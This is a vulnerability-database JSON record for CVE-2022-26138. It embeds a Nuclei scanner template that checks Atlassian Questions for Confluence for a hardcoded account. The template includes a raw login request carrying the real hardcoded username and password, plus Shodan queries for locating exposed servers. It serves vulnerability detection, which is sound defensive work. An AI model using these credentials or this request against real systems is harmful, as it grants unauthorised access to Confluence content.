{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-26138/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-26138/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-26138/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-26138/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-26138/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-26138"},"sightings":{"href":"/api/v1/sightings/cve-2022-26138"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-26138.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-26138\n\ninfo:\n  name: Atlassian Questions For Confluence - Hardcoded Credentials\n  author: HTTPVoid\n  severity: critical\n  description: |\n    Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Confluence instance.\n  remediation: |\n    Update the Atlassian Questions For Confluence plugin to the latest version, which removes the hardcoded credentials.\n  reference:\n    - https://twitter.com/fluepke/status/1549892089181257729\n    - https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html\n    - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-26138\n    - https://jira.atlassian.com/browse/CONFSERVER-79483\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-26138\n    cwe-id: CWE-798\n    epss-score: 0.9817\n    epss-percentile: 0.99911\n    cpe: cpe:2.3:a:atlassian:questions_for_confluence:2.7.34:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: atlassian\n    product: questions_for_confluence\n    shodan-query:\n      - http.component:\"Atlassian Confluence\"\n      - http.component:\"atlassian confluence\"\n  tags: cve2022,cve,confluence,atlassian,default-login,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /dologin.action HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        os_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action\n\n    payloads:\n      os_username:\n        - disabledsystemuser\n      os_password:\n        - disabled1system1user6708\n    attack: pitchfork\n    matchers:\n      - type: dsl\n        dsl:\n          - 'location == \"/httpvoid.action\"'\n# digest: 4b0a00483046022100b68ad8f730e90951d887efe454aca3919be74d1064f87579f167881b72ca5dea022100a45894ab0ac1e4e9102b439a3f55038e3f167324f96008507117f7716eacdf3e:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-26138"}